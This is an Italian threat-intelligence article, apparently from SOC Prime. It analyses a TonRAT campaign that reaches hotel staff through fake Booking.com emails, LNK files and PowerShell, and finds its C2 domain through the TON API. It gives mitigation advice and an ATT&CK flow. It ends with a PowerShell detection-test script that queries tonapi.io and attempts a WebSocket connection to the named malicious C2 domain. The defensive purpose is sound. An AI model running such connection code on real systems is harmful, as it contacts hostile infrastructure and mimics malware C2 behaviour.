SOC Prime Bias: Alta

12 Jun 2026 06:33 UTC

Analisi Tecnica di Email Sospette Mirate all’Industria Alberghiera

Author Photo
SOC Prime Team linkedin icon Segui
Analisi Tecnica di Email Sospette Mirate all’Industria Alberghiera
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Una sofisticata campagna di malware a più fasi sta prendendo di mira il settore alberghiero attraverso email camuffate da notifiche di Booking.com. La catena di intrusione combina file LNK dannosi, script PowerShell e un trojan di accesso remoto basato su Node.js noto come TonRAT. Uno degli aspetti più notevoli dell’operazione è l’uso dell’API di The Open Network (TON) per ottenere dinamicamente i domini di comando e controllo, il che rende meno affidabile il blocco tradizionale basato sui domini.

Indagine

L’indagine ha scoperto un flusso di esecuzione a strati in cui un archivio ZIP iniziale contiene un file LNK che avvia PowerShell per recuperare uno script secondario. Quello script decritta un payload JavaScript identificato come TonRAT utilizzando AES e lo esegue attraverso un runtime Node.js legittimo scaricato da nodejs.org. Una volta attivo, il malware inizia comunicazioni di comando e controllo basate su WebSocket utilizzando informazioni di dominio prelevate dalle richieste API del blockchain TON.

Mitigazione

Le difese raccomandate includono la restrizione dell’esecuzione di PowerShell, il monitoraggio attento per l’uso non autorizzato del runtime Node.js (node.exe), e il rilevamento del traffico WebSocket anormale. Le organizzazioni dovrebbero anche sorvegliare le connessioni all’API TON, inclusa tonapi.io, e rafforzare il filtraggio delle email per catturare domini falsificati, allegati sospetti e esche di phishing rivolte al personale alberghiero.

Risposta

Se si sospetta una compromissione, i team di sicurezza dovrebbero isolare immediatamente il punto finale interessato per prevenire ulteriore traffico di comando e controllo e possibile esfiltrazione di dati. I log operativi di PowerShell e i record di esecuzione dei processi dovrebbero essere controllati per attività node.exe non autorizzata. Dovrebbe anche essere eseguita una verifica forense per gli hash JavaScript noti di TonRAT, insieme all’indagine su eventuali connessioni all’infrastruttura di comando e controllo identificata.

"grafo TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Definizioni dei nodi action_phishing["<b>Azione</b> – <b id='T1566.002'>T1566.002 Phishing: Spearphishing Link</b><br/>Descrizione: Gli aggressori inviano email impersonando Booking.com<br/>contenenti link per scaricare un file ZIP dannoso."] class action_phishing action action_execution["<b id='T1204.002'>T1204.002 Esecuzione Utente: File Dannoso</b><br/>Descrizione: L’utente esegue un file .lnk contenuto all’interno dell’archivio ZIP."] class action_execution action process_cmd["<b id='T1059.003'>T1059.003 Interprete di Comando e Script: Shell dei Comandi di Windows</b><br/>Descrizione: Attivato tramite comando PowerShell utilizzando Invoke-WebRequest<br/>per scaricare uno script secondario."] class process_cmd process malware_script["<b id='T1027'>T1027 File o Informazioni Offuscati</b><br/>Descrizione: Lo script PowerShell LE3f0MRT.ps1 utilizza la crittografia AES<br/>per decifrare un file JavaScript (TonRAT)."] class malware_script malware action_transfer["<b id='T1105'>T1105 Trasferimento Strumento di Ingresso</b><br/>Descrizione: Il malware scarica un runtime Node.js legittimo<br/>da nodejs.org per eseguire il payload."] class action_transfer action action_indirect["<b id='T1202'>T1202 Esecuzione Comando Indiretto</b><br/>Descrizione: Utilizzato per mantenere la persistenza ed evitare il rilevamento."] class action_indirect action action_resolution["<b id='T1568'>T1568 Risoluzione Dinamica</b><br/>Descrizione: Interroga l’API TON (tonapi.io) per recuperare<br/>il dominio di Comando e Controllo C2."] class action_resolution action malware_tonrat["<b id='T1568'>T1568 Comando e Controllo</b><br/>Descrizione: TonRAT stabilisce comunicazione via WebSocket<br/>utilizzando una stretta di mano ECDH per C2 crittografato."] class malware_tonrat malware %% Connessioni action_phishing –>|porta_a| action_execution action_execution –>|attiva| process_cmd process_cmd –>|scarica| malware_script malware_script –>|esegue| action_transfer action_transfer –>|abilita| action_indirect action_indirect –>|esegue| action_resolution action_resolution –>|risolves_C2_per| malware_tonrat malware_tonrat –>|permette| action_indirect "

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere stato superato.

Rationale: Questa sezione dettagliatamente l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTPs identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

  • Narrazione & Comandi dell’Attacco: L’avversario mira a stabilire un canale di Comando e Controllo (C2) basato su WebSocket. Per confondersi con il traffico legittimo, il malware prima interroga il tonapi.io servizio per risolvere la sua infrastruttura C2. Una volta stabilita l’interazione “legittima” con l’API, il malware avvia una stretta di mano WebSocket (wss://) al dominio malevolo hardcoded zloapobikahy23.bond. Questa sequenza è progettata per sfruttare la reputazione dell’API TON per mascherare la successiva connessione malevola.

  • Script di Test di Regressione:

    # Simulazione di Comunicazione C2 WebSocket TonRAT
    # Passo 1: Simulare l'interazione con l'API TON
    Write-Host "[+] Simulazione dell'interazione con tonapi.io..."
    $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..."
    Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing
    
    # Passo 2: Simulare la connessione WebSocket al dominio C2 malevolo
    # Nota: Utilizziamo un client PowerShell per iniziare una richiesta WSS per attivare la logica 'wss://' e del dominio
    Write-Host "[+] Simulazione della connessione WebSocket al dominio malevolo..."
    $c2_url = "wss://zloapobikahy23.bond/control"
    
    # Utilizzando un client WebSockets .NET per garantire che 'wss://' sia presente nella telemetria
    $ws = New-Object System.Net.WebSockets.ClientWebSocket
    $cts = New-Object System.Threading.CancellationTokenSource
    $uri = New-Object System.Uri($c2_url)
    
    try {
        $task = $ws.ConnectAsync($uri, $cts.Token)
        # Non ci serve una connessione riuscita, solo il tentativo per generare il log
        $task.Wait(5000) 
    } catch {
        Write-Host "[!] Connessione fallita come previsto (il dominio non esiste), ma la telemetria dovrebbe essere generata."
    } finally {
        $ws.Dispose()
    }
  • Comandi di Pulizia:

    # Non vengono creati artefatti persistenti da questo script, ma svuotiamo la console
    Clear-Host
    Write-Host "Completa la pulizia della simulazione."